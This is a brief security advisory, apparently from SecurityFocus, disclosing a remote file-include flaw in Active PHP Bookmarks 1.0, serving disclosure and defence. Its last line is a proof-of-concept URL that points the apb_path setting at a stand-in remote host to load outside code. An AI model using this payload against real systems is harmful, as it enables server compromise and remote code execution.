source: http://www.securityfocus.com/bid/23670/info

Active PHP Bookmarks is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Active PHP Bookmarks 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/apb.php?APB_SETTINGS['apb_path']=http://shell/